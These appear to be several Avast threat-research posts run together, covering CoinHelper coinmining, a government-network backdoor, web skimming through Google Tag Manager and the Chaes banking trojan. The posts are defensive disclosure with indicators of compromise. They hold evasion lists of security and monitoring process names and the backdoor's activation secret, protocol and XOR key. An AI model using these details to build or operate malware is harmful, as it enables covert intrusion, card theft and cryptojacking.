Which query should be used is defined in the configuration of the AutoIt script. The GUID is created by hashing the obtained information using MD5 and formatted as a standard GUID string:
/\{[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}\}/

With this approach, the malware author is in fact able to calculate the exact number of infected users who are actually mining, because all the mining will be performed via a unique password, passing it as an ID of the “worker” (= victim) to the pool.

Persistence

Similarly to the first stage, at the beginning of the second stage, particular mutexes are checked and created if necessary:

• QPRZ1bWvXh
• QPRZ1bWvXh2

As we can see, only the number in the middle of the mutex is changed compared to the first stage (QPRZ3bWvXh). The second mutex has an appended 2 as a constant. We have also seen QPRZ2bWvXh used as well, once again changing the middle number.

For the sake of staying hidden for the longest time possible, the malware checks several processes using a native AutoIt ProcessExists function for any running system monitoring and analysis tools:

• aida64.exe
• AnVir.exe
• anvir64.exe
• GPU-Z.exe
• HWiNFO32.exe
• HWiNFO64.exe
• i7RealTempGT.exe
• OpenHardwareMonitor.exe
• pchunter64.exe
• perfmon.exe
• ProcessHacker.exe
• ProcessLasso.exe
• procexp.exe
• procexp64.exe
• RealTemp.exe
• RealTempGT.exe
• speedfan.exe
• SystemExplorer.exe
• taskmgr.exe
• VirusTotalUpload2.exe

When the tool is spotted, the malware temporarily disables the mining. The information about running coinminers is stored in two files:

• mn.pid
• gmn.pid

As their names might disclose, a particular PID of the running (GPU) coinminer is written there.

The malware also monitors whether the victim actually uses their PC at the moment. If the user is idle for a while, in our particular case for 3 minutes, the current coinmining is terminated and a new coinmining process is executed and set to leverage 100% of the CPU on all threads. This information (PID) is stored in a file called mn.ld. When the PC is actively used, the mining is set to 50% of the available performance. On the other hand, GPU mining is performed only when the user is not actively using their PC (for 2 minutes).

The malware also lists all console windows present on the system and finds out those that have visibility set to hidden. If such a window is found and it doesn’t belong to CoinHelper, the malware considers it as a competing miner and kills the process.

Data harvesting and AV checks

Similarly to the previous AutoIt stage, Helper.exe collects information about the infected system, too, as shown in the table below:

Information	Purpose
Number of available CPU threads	If the victim’s system is idle, the malware leverages all CPU threads
Video card type	What kind of card is used – for Nvidia or AMD optimized coinmining
CPU type	Not used (*see below)
Security solution	Not used (*see below)
HW ID hashed by MD5	Appended to XMRig password, resulting in a parameter -p xMD5 (see Coinmining for details)

As we could see (*) in the table above, the code actually contains functions for the harvesting of some information that is not actually executed. This means that while it could gather this information, it doesn’t. Due to similarities with the first stage, we suppose that the authors have forgotten some artifacts of previous versions due to shifts of functionality between the first AutoIt stage and the Helper.exe stage.

The malware recognizes which graphic card is available on the infected system. These cards are detected using the WMI query on Win32_VideoController. You can find all the cards, as presented in the malware, in the table below:

AMD Series	AMD Model
RX	460, 470, 480, 540, 550, 560, 570, 580, 590, 640, 5500, 5600, 5700, 6800, 6900
R5	230
R7	240
	W4300
VEGA	56, 64
Radeon	520, 530, 535, 540, 550, 610, 620, 625, 630, VII
WX	3100, 5100

Nvidia Series	Nvidia Model
	P104-100
	P106-090
GTX	750, 970, 980, 980, 1050, 1060, 1070, 1080, 1650, 1660, TITAN
RTX	2050, 2060, 2070, 2080, 3060, 3070, 3080, 3090
GT	710, 720, 730, 740, 1030
Quadro	K1000, K1200, P400, P620, P1000, P2000, P2200, P5000

If any card from above is detected and also the video adapter name matches either “Advanced Micro Devices, Inc.” or “NVIDIA”, the malware uses XMRig to leverage GPU for coinmining.

From the list of graphic cards, it is apparent that the malware doesn’t hesitate to leverage the newest models of graphic cards.

Bundled apps overview

After looking at the software that the infected victims originally wanted to install, we can conclude that CoinHelper can be bundled with practically anything. So far, we’ve seen over 2,700 different apps bundled with CoinHelper (differentiating by unique SHA256 hashes). The majority of the software consists of clean installers, cracked software, cracked games or game cheats like ChromeSetup, Photoshop, MinecraftSetup, Assassin’s Creed Valhalla, CyberPunk 2077 Trainer or AmongUs cheats. With repertoire like this, the authors of CoinHelper are able to reach out to almost any type of audience ensuring successful spread of the malware.

Persuading someone to download supposedly clean software, which is in reality bundled with malware, is easier than persuading someone to willingly download malware which is secretly bundled with another malware. Authors of CoinHelper are not afraid of this challenge as we observed CoinHelper to be also bundled with samples of malware like 888 RAT or njRAT. We assume that with this approach, the target group of people gets extended by “script kiddies” and inexperienced people with an interest in malware. As this group of people is very specific, there are only a few samples of malware in comparison with the amount of other software. Graphical overview of this proportion can be seen also in the image below.

Origin of the bundled apps

Apart from the Yandex Disk storage from where we started our investigation, we can confirm that another considerable method of spreading CoinHelper is via malicious torrents placed on internet forums focused on cracked software.

Forums overview

The authors of the malware successfully made it easy for people to stumble upon the malicious torrents. During our research, we found CoinHelper bundled with software on  Russian internet forums focusing on cracked software:

• windows-program[.]com
• softmania[.]net

Even though we were able to find information about the number of downloads of the malware from these forums (more about this later), it wasn’t nearly enough to explain the number of hits from our user base. Because of this, we have to assume that there are tens of forums like the ones mentioned above, spreading malware through cracked software. 

More about the forums

Let’s focus on the first forum windows-program[.]com, as the other one is very similar. Between the thousands and thousands of articles, we found the samples we were looking for. As it turns out, registered user Alex4 created 29 different articles mostly containing torrents for cracked software including:

Advertised software	Description & functionality
Ableton Live Suite 9.7.3 + Crack + торрент	Audio workstation and music production software with current price 599 €
Dr.Web Security Space 11.0.0.11162 x86 x64 + ключ + торрент	Anti-virus solution
ESET NOD32 Smart Security 10.1.219.1 + ключи + торрент	Anti-virus solution
Avast Premier 11.2.2260 + ключ + торрент	Anti-virus solution
Adobe Photoshop CC 2017.1.1 + Portable + торрент	Photo and image editing software
Fraps 3.5.99 на русском + crack + торрент	Screen capture and screen recording utility, popular to videocapture games

As can be seen in the table above, CoinHelper can be also found bundled with multiple well-known AV solutions. Let’s take a closer look at a post about Avast AV for the sake of awareness about threats that come with downloading AV from sources like this.

First thing to notice is that the post is from 2020-11-06. It also  contains some  screenshots of the promised program, but it can be seen that it is a very old version of our AV from 2016. After launching the installation, users get to choose between installing the old version or updating AV to the newest version. Unfortunately, the installer was manipulated and neither of the options work and the no-update variant crashes the system. As a result, the output from this download for users is that they don’t get AV protection, they might crash their system and they also get infected with CoinHelper. Because of this we highly recommend downloading only signed software from verified and trustworthy sources and if possible verify hashes or checksums of installers.

As a matter of fact, neither of the AV installers worked. After launching an installer, CoinHelper would install itself and installation would fail because of various reasons. It makes sense that authors of the malware would choose malfunctioning these installers, because there is no reason to give victims a tool that kills and removes their freshly dropped malware from the system.

In the post, it is possible to download three different things:

• A torrent file with which it is possible to download the advertised program with CoinHelper
• A zip archive protected with a password “123” containing the advertised program with CoinHelper

After choosing between a zip archive or torrent, the page opens a new tab with information about the file to be downloaded. On the image below it is possible to see the date when the file was added to the page. Surprisingly it is 2021-07-12 and not 2020-11-06, so the file is much newer than the post referencing it. Because we have seen multiple versions of the malicious AutoIt scripts, we suppose that authors of the malware are updating these files with new versions of CoinHelper. 

Additional information that can be noticed on the image above is that the torrent file was downloaded 549 times and after adding the 508 downloads of the zip archive, we can conclude that more than 1,000 people may have got infected just from this one post on this forum. After checking all the forum posts and files uploaded by the user Alex4 we can confirm that the total number of downloads is more than 45,000 by the 2021-11-02. We consider this number to be quite alarming considering it is the spread of malware only from a single internet forum.

The second forum (softmania[.]net) is quite similar. In this case, the user from whose account the malware is spreading is WebGid4. This user has 56 publications on the forum among which you can find posts about following software:

Advertised software	Description & functionality
Windows 11 64bit Pro-Home v.21 торрент	Windows 11 ISO image
Adobe Photoshop Lightroom Classic 2021 v10.0 + торрен	Photo and image editing software
Microsoft Office 2016 Professional Plus 16.0.7571.2075 + Ключ + Torrent	MS Office package
VMware Workstation 12 Pro 12.5.4	Software that creates and runs virtual machines
Steinberg Cubase Pro 10.0.50 2020 + торрент	Software for composing, recording, mixing and editing music

The first thing that caught our eyes was the ISO image of the brand new OS Windows 11. The official Windows 11 release date was 2021-10-05, which was only a few weeks before the release of this blogpost. This means that the attackers are really keeping the pace with the current trends and they try very hard to have interesting software to infect as many victims as they can.

After downloading the torrent named “Windows 11 64bit Pro-Home v.21 торрент” victims would download through the torrent client an ISO file named “windows_11_CLIENT_CONSUMER_x64FRE_en-us.iso”. This is a working ISO image of Windows 11, which installs a brand new operating system, but as a bonus it deploys CoinHelper that is inside the ISO image. After unpacking the ISO file, there is an executable called \sources\setup.exe present that contains bundled CoinHelper.

If the victims were more careful, a hint that something is sketchy could be seen after clicking on the download torrent link and opening a download page in the new tab. The torrent was added 2021-07-10, only 17 days after the official announcement of Windows 11 and ~3 months before the official release. This already raised many flags, and as we later found out, it is a Windows 11 developer version that was leaked in June 2021. This ISO image is able to successfully upgrade existing Windows OS to the new Windows 11 also with CoinHelper in it.

Seeding source

We’ve seen these malicious files being downloaded through torrents which are seeded from seed boxes. A seed box is a remote server used for storing and seeding files through the P2P network that can be rented as a service. Seed boxes serve as a layer of anonymity for attackers because instead of exposing their IP address, only the IP address of the seed box can be seen. They also ensure high availability of the content, because the seed box is supposed to be running 24/7 (unlike regular PCs). Furthermore, companies renting seed boxes also offer different bandwidths to be able to support even higher download rates.

When we looked into the malicious torrents from the Alex4 on windows-program[.]com forum, we saw that the malicious content is downloaded from the server with IP 88.204.193[.]34 on port 56000 (apart from others probably already infected seeders). After taking a closer look at this IP address, we’ve found out that the IP address is located in Kazakhstan and it is connected to the service named megaseed (megaseed.kz).

Conclusion

In this blog post, we presented a detailed technical analysis of CoinHelper, a family of AutoIt droppers, which provides a massive coinmining campaign affecting hundreds of thousands of users worldwide. The malware is being spread in a form of a bundle with another software, being it game cheats, cracked software, or even clean installers such as Google Chrome or AV products, as well as hiding in Windows 11 ISO image, and many others.

Furthermore, we explained how the malware maps the victims of the campaign using public IP logging services to better understand the effectiveness of the chosen infection vectors in certain regions. Using these services, the malware also harvests information about victims’ security solutions and available computational power.

We explained how the malware can hide literally in any software from unofficial sources. The scope of the spreading is also supported by seeding the bundled apps via torrents, further abusing the unofficial way of downloading software.

Indicators of Compromise (IoC)

• Repository: https://github.com/avast/ioc/tree/master/CoinHelper/

SHA256	File name
83a64c598d9a10f3a19eabed41e58f0be407ecbd19bb4c560796a10ec5fccdbf	start.exe
cc36bb34332e2bc505da46ca2f17206a8ae3e4f667d9bdfbc500a09e77bab09c	asacpiex.dll
ea308c76a2f927b160a143d94072b0dce232e04b751f0c6432a94e05164e716d	CL_Debug_Log.txt
126d8e9e03d7b656290f5f1db42ee776113061dbd308db79c302bc79a5f439d3	32.exe
7a3ad620b117b53faa19f395b9532d3db239a1d6b46432033cc0ef6a8d2377cd	64.exe
7387e57e5ecfdba01f0ad25eeb49abf52fa0b1c66db0b67e382d3b9c057f51a8	32.txt
ff5aa6390ed05c887cd2db588a54e6da94351eca6f43a181f1db1f9872242868	64.txt
6753d1a408e085e4b6243bfd5e8b44685e8930a81ec27795ccd61f8d54643c4e	amd.txt
93dd8ef915ca39f2a016581d36c0361958d004760a32e9ee62ff5440d1eee494	nvidia.txt

Mutex

QPRZ1bWvXh

QPRZ1bWvXh2

QPRZ2bWvXh

QPRZ3bWvXh

Logging services

https://2no[.]co/1wbYc7

Appendix

List of checked security solutions

AV / Security solution	Checked processes
Avast	AvastUI.exe, AvastSvc.exe
NOD	egui.exe, ekrn.exe
Kaspersky	avp.exe, avpui.exe
AVG	avguix.exe, AVGUI.exe
Dr.web	dwengine.exe
Ad-Aware	AdAwareTray.exe, AdAwareDesktop.exe
SecureAPlus	SecureAPlus.exe, SecureAPlusUI.exe
Arcabit	arcabit.exe, arcamenu.exe
Bitdefender	seccenter.exe, bdagent.exe, bdwtxag.exe, agentcontroller.exe
CAT-QuickHeal	ONLINENT.exe, SCANNER.exe
Comodo	cis.exe, vkise.exe
Cybereason	CybereasonRansomFree.exe
Emsisoft	a2guard.exe, a2start.exe
eScan	escanmon.exe, TRAYICOS.exe, escanpro.exe
F-Prot	FProtTray.exe, FPWin.exe
GData	AVKTray.exe, GDKBFltExe32.exe, GDSC.exe
ikarus	guardxkickoff.exe, virusutilities.exe
K7AntiVirus	K7TSecurity.exe, K7TSMain.exe, K7TAlert.exe
MaxSecure	Gadget.exe, MaxProcSCN.exe, MaxSDTray.exe, MaxSDUI.exe, MaxUSBProc.exe
McAfee	McDiReg.exe, McPvTray.exe, McUICnt.exe, mcuicnt.exe, MpfAlert.exe, ModuleCoreService.exe, uihost.exe, delegate.exe
MicrosoftSecurityEssentials	msseces.exe
Panda	PSUAConsole.exe, PSUAMain.exe
TrendMicro	PtSessionAgent.exe, uiSeAgnt.exe, uiWinMgr.exe
TrendMicro-HouseCall	HousecallLauncher.exe, housecall.bin, HouseCallX.exe
VIPRE	SBAMTray.exe, VIPREUI.exe
Webroot	WRSA.exe
ZoneAlarm	zatray.exe
AhnLab-V3	ASDCli.exe, ASDUp.exe, MUdate.exe, V3UPUI.exe, V3UI.exe
Avira	avgnt.exe, Avira.Systray.exe, ngen.exe, Avira.VPN.Notifier.exe, msiexec.exe
Bkav	BkavHome.exe
BkavPro	Bka.exe, BkavSystemServer.exe, BLuPro.exe
F-Secure	fshoster32.exe
Jiangmin	KVMonXP.kxp, KVPreScan.exe, KVXp.kxp
Kingsoft	kislive.exe, kxetray.exe
NANO-Antivirus	nanoav.exe
Qihoo-360	efutil.exe, DesktopPlus.exe, PopWndLog.exe, PromoUtil.exe, QHSafeMain.exe, QHSafeTray.exe, SoftMgrLite.exe
Rising	popwndexe.exe, rsmain.exe, RsTray.exe
SUPERAntiSpyware	SUPERAntiSpyware.exe
Tencent	QQPCTray.exe, QQPCUpdateAVLib.exe, Tencentdl.exe, TpkUpdate.exe
VBA32	vba32ldrgui.exe, VbaScheluder.exe, BavPro_Setup_Mini_C1.exe
ViRobot	hVrSetup.exe, hVrTray.exe, hVrScan.exe, hVrContain.exe
Zillya	ZTS.exe
Defender	MSASCui.exe, MSASCuiL.exe
SmartScreen	smartscreen.exe

The post Toss a Coin to your Helper (Part 2 of 2) appeared first on Avast Threat Labs.

We have found a new targeted attack against a small, lesser-known U.S. federal government commission associated with international rights. Despite repeated attempts through multiple channels over the course of months to make them aware of and resolve this issue they would not engage.

After initial communication directly to the affected organization, they would not respond, return communications or provide any information.

The attempts to resolve this issue included repeated direct follow up outreach attempts to the organization. We also used other standard channels for reporting security issues directly to affected organizations and standard channels the United States Government has in place to receive reports like this.

In these conversations and outreach we have received no follow up or information on whether the issues we reported have been resolved and no further information was shared with us.

Because of the lack of discernible action or response, we are now releasing our findings to the community so they can be aware of this threat and take measures to protect their customers and the community. We are not naming the entity affected beyond this description.

Because they would not engage with us, we have limited information about the attack. We are unable to attribute the attack, its impact, or duration. We are only able to describe two files we observed in the attack. In this blog, we are providing our analysis of these two files.

While we have no information on the impact of this attack or the actions taken by the attackers, based on our analysis of the files in question, we believe it’s reasonable to conclude that the attackers were able to intercept and possibly exfiltrate all local network traffic in this organization. This could include information exchanged with other US government agencies and other international governmental and nongovernmental organizations (NGOs) focused on international rights. We also have indications that the attackers could run code of their choosing in the operating system’s context on infected systems, giving them complete control.

Taken altogether, this attack could have given total visibility of the network and complete control of a system and thus could be used as the first step in a multi-stage attack to penetrate this, or other networks more deeply.

Overview of the Two Files Found

The first file masquerades as oci.dll and abuses WinDivert, a legitimate packet capturing utility, to listen to all internet communication. It allows the attacker to download and run any malicious code on the infected system. The main scope of this downloader may be to use priviliged local rights to overcome firewalls and network monitoring.

The second file also masquerades as oci.dll, replacing the first file at a later stage of the attack and is a decryptor very similar to the one described by Trend Labs from Operation red signature. In the following text we present analysis of both of these files, describe the internet protocol used and demonstrate the running of any code on an infected machine.

First file – Downloader

We found this first file disguised as oci.dll (“C:\Windows\System32\oci.dll”) (Oracle Call Interface). It contains a compressed library (let us call it NTlib). This oci.dll exports only one function DllRegisterService. This function checks the MD5 of the hostname and stops if it doesn’t match the one it stores. This gives us two possibilities. Either the attacker knew the hostname of the targeted device in advance or the file was edited as part of the installation to run only on an infected machine to make dynamic analysis harder.

We found two samples of this file:

SHA256	Description
E964E5C8A9DD307EBB5735406E471E89B0AAA760BA13C4DF1DF8939B2C07CB90	has no hash stored and it can run on every PC
C1177C33195863339A17EBD61BA5A009343EDB3F3BDDFC00B45C5464E738E0A1	is exactly the same file but it contains the hash of hostname

Oci.dll then decompresses and loads NTlib and waits for the attacker to send a PE file, which is then executed.

NTlib works as a layer between oci.dll and WinDivert.

The documentation for WinDivert describes it as “a powerful user-mode capture/sniffing/modification/blocking/re-injection package for Windows 7, Windows 8 and Windows 10. WinDivert can be used to implement user-mode packet filters, packet sniffers, firewalls, NAT, VPNs, tunneling applications, etc., without the need to write kernel-mode code.”

NTlib creates a higher level interface for TCP communication by using low-level IP packets oriented functions of WinDivert. The NTLib checks if the input has magic bytes 0x20160303 in a specific position of the structure given as the first argument as some sort of authentication.

Exported functions of NTLib are:

• NTAccept
• NTAcceptPWD
• NTSend
• NTReceive
• NTIsClosed
• NTClose
• NTGetSrcAddr
• NTGetDscAddr
• NTGetPwdPacket

The names of the exported functions are self-explanatory. The only interesting function is  NTAcceptPWD, which gets an activation secret as an argument and sniffs all the incoming TCP communication, searching for communication with that activation secret. It means that the malware itself does not open any port on its own, it uses the ports open by the system or other applications for its communication. The malicious communication is not reinjected to the Windows network stack, therefore the application listening on that port does not receive it and doesn’t even know some traffic to its port is being intercepted.

The oci.dll uses NTlib to find communications with the activation secret CB 57 66 F7 43 6E 22 50 93 81 CA 60 5B 98 68 5C 89 66 F1 6B. While NTlib captures the activation secret, oci.dll responds with Locale (Windows GUID, OEM code page identifier and Thread Locale) and then waits for the encrypted PE file that exports SetNtApiFunctions. If the PE file is correctly decrypted, decompressed and loaded, it calls the newly obtained function SetNtApiFunctions.

The Protocol

As we mentioned before, the communication starts with the attacker sending CB 57 66 F7 43 6E 22 50 93 81 CA 60 5B 98 68 5C 89 66 F1 6B (the activation secret) over TCP to any open port of the infected machine.

The response of the infected machine:

• Size of the of the message – 24 (value: 28) [4 B]
• Random encryption key 1 [4 B]
• Encrypted with Random encryption key 1 and precomputed key:
  • 0 [4 B]
  • ThreadLocale [4 B]
  • OEMCP or 0 [4 B]
  • 0x20160814 (to test correctness of decryption) [4 B] 
  • 0,2,0,64,0,0,0 [each 4 B]

The encryption is xor cipher with precomputed 256 B key:

5C434846474C3F284EB64A4343433B4031E546C049584747454956FE4C51B369595AA5DB6DA082696E6C6D72654E74DC706969696166570B6CE66F7E6D6D6B6F7C247277D98F7F80CB0193C6A88F949293988B749A02968F8F8F878C7D31920C95A493939195A24A989DFFB5A5A6F127B9ECCEB5BAB8B9BEB19AC028BCB5B5B5ADB2A357B832BBCAB9B9B7BBC870BEC325DBCBCC174DDF12F4DBE0DEDFE4D7C0E64EE2DBDBDBD3D8C97DDE58E1F0DFDFDDE1EE96E4E94B01F1F23D7305381A010604050AFDE60C7408010101F9FEEFA3047E07160505030714BC0A0F7127171863992B5E40272C2A2B30230C329A2E2727271F2415C92AA42D3C2B2B292D3AE2

That is xored with another 4 B key.

After sending the above message the infected machine awaits for a following message with the encrypted PE file mentioned above:

• Size of the of the message – 24 [4 B]
• Random Encryption key 2 [4 B]
• Encrypted  with Random encryption key 2 and precomputed key:
  • 6 (LZO level?) [4 B]
  • 0 [8 B]
  • 0x20160814 [4 B] 
  • 0x20160814 [4 B]
  • Size of the whole message [4 B]
  • Offset (0) [4 B]
  • Length (Size of the whole message) [4 B]
  • Encrypted with key 0x1415CCE and precomputed key:
    • 0 [16 B]
    • Length of decompressed PE file [4 B]
    • 0 [16 B]
    • Length of decompressed PE file [4 B]
    • 0 [16 B]
    • LZO level 6 compressed PE file

With the same encryption as the previous message.

In our research we were unable to obtain the PE file that is part of this attack. In our analysis, we demonstrated the code execution capabilities by using a library with the following function:

In a controlled lab setting, we were able to start the calculator on an infected machine over the network with the following python script (link to GitHub).

Second File – Decryptor

The second file we found also masquerages as oci.dll. This file replaced the first downloader oci.dll and likely represents another, later stage of the same attack. The purpose of this file is to decrypt and run in memory the file “SecurityHealthServer.dll”.

SHA256: 6C6B40A0B03011EEF925B5EB2725E0717CA04738A302935EAA6882A240C2229A

We found that this file is similar to the rcview40u.dll that was involved in Operation Red Signature. rcview40u.dll (bcfacc1ad5686aee3a9d8940e46d32af62f8e1cd1631653795778736b67b6d6e) was signed by a stolen certificate and distributed to specific targets from a hacked update server. It decrypted a file named rcview40.log, that contained 9002 RAT and executed it in memory.

This oci.dll exports same functions as rcview40u.dll:

The new oci.dll decrypts SecurityHealthServer.dll with RC4 and used the string TSMSISRV.dll as the encryption key. This is similar to what we’ve seen with rcview40u.dll which also uses RC4 to decrypt rcview.log with the string kernel32.dll as the encryption key.

Because of the similarities between this oci.dll and rcview40u.dll, we believe it is likely that the attacker had access to the source code of the three year-old rcview40u.dll.  The newer oci.dll has minor changes like starting the decrypted file in a new thread instead of in a function call which is what  rcview40u.dll does. oci.dll was also compiled for x86-64 architecture while rcview40u.dll was only compiled for x86 architecture.

Conclusion

While we only have parts of the attack puzzle, we can see that the attackers against these systems were able to compromise systems on the network in a way that enabled them to run code as the operating system and capture any network traffic travelling to and from the infected system.

We also see evidence that this attack was carried out in at least two stages, as shown by the two different versions of oci.dll we found and analyzed.

The second version of the oci.dll shows several markers in common with rcview40u.dll that was used in Operation Red Signature such that we believe these attackers had access to the source code of the malware used in that attack.

Because the affected organization would not engage we do not have any more factual information about this attack. It is reasonable to presume that some form of data gathering and exfiltration of network traffic happened, but that is informed speculation. Further because this could have given total visibility of the network and complete control of an infected system it is further reasonable speculation that this could be the first step in a multi-stage attack to penetrate this, or other networks more deeply in a classic APT-type operation.

That said, we have no way to know for sure the size and scope of this attack beyond what we’ve seen. The lack of responsiveness is unprecedented and cause for concern. Other government and non-government agencies focused on international rights should use the IoCs we are providing to check their networks to see if they may be impacted by this attack as well.

The post Avast Finds Backdoor on US Government Commission Network appeared first on Avast Threat Labs.

E-commerce websites are much more popular than they used to be, people tend to shop online more and more often. This leads to the growth of an attack called web skimming. Web skimming is a type of attack on e-commerce websites in which an attacker inserts malicious code into a legitimate website. One of the most targeted e-commerce platforms is Magento. The reason why Magento is so popular among attackers is that Magento is known for many vulnerabilities. However, this doesn’t mean that other platforms aren’t being targeted, for example, sites using WooCommerce have also been victims.

In this posting, we go over what web skimming attacks are and how they work. We then analyze a series of web skimming attacks that we found which were active from March 2021 to the present. These attacks abused the Google Tag Manager and mainly targeted sites in Argentina and Saudi Arabia.

Overview of Web Skimming Attacks

The purpose of the malicious web skimming code is to steal the website’s customers’ payment details. This attack can simply be compared to an attack on physical ATMs, where instead of hardware skimmers, malicious code is used to steal payment card information.

Web skimming is dangerous because the customer often has no chance to know that a website has been compromised. Mostly, the attackers go after small e-commerce websites with poor security, but sometimes even a big e-commerce site can become a victim. In 2018, the British Airways website was infected by a web skimming attack. In 2019, forbesmagazine[.]com was infected, payment details were sent to the fontsawesome[.]gq. Later in 2020 a big online retailer selling beauty products, wishtrend[.]com, also became a victim of another web skimming attack. In 2021 another big e-commerce website store.segway[.]com was infected with a skimming attack.

We observed a webpage (wishtrend[.]com with more than 1M followers on Facebook) that was infected with web skimming in 2020. Later in 2021, the same website was infected with a phishing attack that imitates a Dropbox login.

How Web Skimming Attacks Work Under the Hood

A website can be breached and compromised both on the client side and on the server side. From the AV perspective, as we protect the end customers (client) and have no visibility on the server side, we focus on the client side. There can either be a single piece of malicious code hidden in infected websites, or more often, the attack can be split into two or more stages. First stage is a simple loader inserted in an infected website’s HTML or in an already existing javascript file. It can look like in the image below.

This code loads additional malicious code from an attacker’s domain, sometimes obfuscated, sometimes not. For the second stage, attackers usually use typosquatting domains to hide and act as a legitimate service. The malicious code gets the data from all (or in some cases specific) input forms and sends this data to the attacker’s server. 

To get the payment details, the attackers use one of the following techniques:

• Stealing payment details directly from the original payment form
• Inserting malicious payment form (used in cases when no form exists)
• Redirecting to a malicious form on another website (can be placed on infected website or also on attacker’s website) 

The image below shows an example of a fake payment form in the red box. It is almost impossible to recognize that something is wrong, because on some e-commerce websites the payment form looks exactly the same and is valid. But in this case a little help is in the yellow box that says: “You will be redirected to the Realex website when you place an order. “ It means that if the website states that you will be redirected, then the payment form should not be directly on the e-commerce website and the user should expect to be redirected to the payment gateway (different website) with the form to enter payment details.

There is more than one way the second stage (the part which is responsible for stealing and sending stolen payment details to the attacker) of a web skimming attack can look. In the code snippet below, there is an example. Here the attackers use a POST request to exfiltrate payment details, but they can also use GET requests and WebSockets. 

Stolen payment details are usually sold on the dark web. These datasets of credit cards that come from web skimming attacks are usually fresh and therefore they are better and can be sold for a higher price than for example data stolen from databases, which can be old in many cases. More information about selling stolen cards can be found in Yonathan Klijnsma’s

VB2019 paper: : Inside Magecart: the history behind the covert card-skimming assault on the e-Commerce industry.

Web Skimming using Google Tag Manager

In Q3 2021 we discovered a web skimming attack that uses Google Tag Manager (GTM) as a first stage. First, the infected webpage loads a script from googletagmanager[.]com/gtm.js?id=gtm-<code> via script injected in the HTML file shown on the image below.

There is nothing unusual in this behaviour, many websites use Google Tag Manager and it looks exactly the same (it can be suspicious that the website loads more than one GTM script though). But if we look closer in the gtm.js file, we can find suspicious code in it. In the image below there is a comparison between malicious and clean GTM script. In the malicious file, there is added custom code that loads another javascript file from ganalitis[.]com. This is the feature of GTM, it is possible to add a custom script (which is then loaded from googletagmanager.com domain). 

We were able to connect (based on our common signature and IP) ganalitis[.]com with similar domains from the same attacker (data from RiskIQ).

Domain	Active from	IP
ganalitics[.]com	2021-06-03	193[.]203[.]203[.]240
bingfindapi[.]com	2021-04-29	193[.]203[.]203[.]56
webfaset[.]com	2021-04-13	193[.]203[.]203[.]56
pixstatics[.]com	2021-05-19	193[.]203[.]203[.]56
ganalitis[.]com	2021-10-21	91[.]242[.]229[.]96
gstatsc[.]com	2021-12-13	91[.]242[.]229[.]96
gstatlcs[.]com	2021-12-15	193[.]203[.]203[.]14
gstatuslink[.]com	2022-01-02	91[.]242[.]229[.]96
gtagmagr[.]com	2022-01-05	193[.]203[.]203[.]14

The second stage (downloaded from the malicious domain) is a file named favicon (later renamed to refresh) that contains about 400 lines of obfuscated javascript code. We found that this code was being changed over time to avoid detection. The deobfuscated code is shown below, almost everything out of the 400 lines of code was just obfuscation. This file hides malicious code responsible for downloading the final stage through WebSockets.

The final stage of malware is downloaded through WebSockets. First, the web page sends its hostname, and then according to that information the corresponding malicious javascript is received. This communication is shown in the image below.

Malicious javascript code is about 1k lines long (formatted) and as the previous stage is also obfuscated. This code is responsible for stealing the payment details. At the end of the obfuscated javascript code (shown in the image below) is configuration which is different for every infected eshop. The red box at the bottom shows the configuration where the fake payment form will be inserted into an HTML file on the infected website.

The code from the yellow box is decoded in the white box. It is a dictionary, the key E528330211747l contains the form field names that match the input form field names on the infected webpage. The last key contains an exfiltration URL that is encoded in base64. In the image below is a code from an infected website, we can see that the id of the email field (customer-email) is in the mentioned code.

The missing field names (from fake payment form) are in the variable a0_0x11ac38. Which is an array and contains the following fields:

The fake payment form embedded on the infected website is shown in the image below. Above is the infected webpage, while below is how the webpage looks normally.

The stolen payment details (including details such as name and address) are sent to the attacker encoded in base64 through WebSockets.

Affected users

In the map below are shown countries with the most affected users. The top is Argentina, because of prune[.]com[.]ar. Site was infected with the new malicious domain gstatlcs[.]com.

The second one is Saudi Arabia e-commerce website souqtime[.]com. From RiskIQ data we can see that this e-commerce website was infected over time with at least seven different web skimming domains.

Currently Avast detects the malicious domain gstatuslink[.]com on souqtime[.]com.

Conclusion

Overall, we can say that the attacker uses Google Tag Manager to avoid detection. At the same time they were able to change the domains from which the malicious code was loaded over time, he also changed the malicious code itself to hide from detection by antivirus.

Some websites were infected for several months (for example souqtime[.]com). It can be difficult for users to spot that the site is infected. For example, it is suspicious if the user fills in the payment form on the website itself and is then redirected to another payment form on the payment gateway webpage. But in cases where the payment form is normally present directly on the e-commerce website and the attacker steals payment details from this legitimate form, it is really hard to notice that the website is infected. Therefore we recommend using a second factor (e.g. mobile app or SMS code) to confirm internet payments if the bank supports it.

Website owners should keep software updated, monitor logs for any suspicious activity, use strong passwords and also use Web Application Firewall.

IOC malicious domains:

• pixstatics[.]com
• ganalitics[.]com
• bingfindapi[.]com
• webfaset[.]com
• ganalitis[.]com
• gstatsc[.]com
• gstatlcs[.]com
• gstatuslink[.]com
• gtagmagr[.]com

The post Web Skimming Attacks Using Google Tag Manager appeared first on Avast Threat Labs.

Introduction

Chaes is a banking trojan that operates solely in Brazil and was first reported in November 2020 by Cybereason. In Q4 2021, Avast observed an increase in Chaes’ activities, with infection attempts detected from more than 66,605 of our Brazilian customers. In our investigation, we found the malware is distributed through many compromised websites, including highly credible sites. Overall, Avast has found Chaes’ artifacts in 800+ websites. More than 700 of them contain Brazilian TLDs. All compromised websites are WordPress sites, which leads us to speculate that the attack vector could be exploitation of vulnerabilities in WordPress CMS. However, we are unable to perform forensics to confirm this theory. We immediately shared our findings with the Brazilian CERT (BR Cert) with the hope of preventing Chaes from spreading. By the time of this publication, Chaes’ artifacts still remain on some of the websites we observed.

Chaes is characterized by the multiple-stage delivery that utilizes scripting frameworks such as JScript, Python, and NodeJS, binaries written in Delphi, and malicious Google Chrome extensions. The ultimate goal of Chaes is to steal credentials stored in Chrome and intercept logins of popular banking websites in Brazil.

In this posting, we present the results of our analysis of the Chaes samples we found in Q4 2021. Future updates on the latest campaign will be shared via Twitter or a later post.

Infection Scheme

When someone reaches a website compromised by Chaes, they are presented with the below pop-up asking users to install the Java Runtime application:

If the user follows the instructions, they will download a malicious installer that poses as a legitimate Java Installer. As shown below, the fake installer closely imitates the legitimate Brazilian Portuguese Java installer in terms of appearance and behavior.

Once the installation begins, the user’s system is compromised. After a few minutes, all web credentials, history, user profiles stored by Chrome will be sent to attackers. Users may experience Google Chrome getting closed and restarted automatically. This indicates any future interactions with the following Brazilian banking websites will be monitored and intercepted:

• mercadobitcoin.com.br
• mercadopago.com.[ar|br]
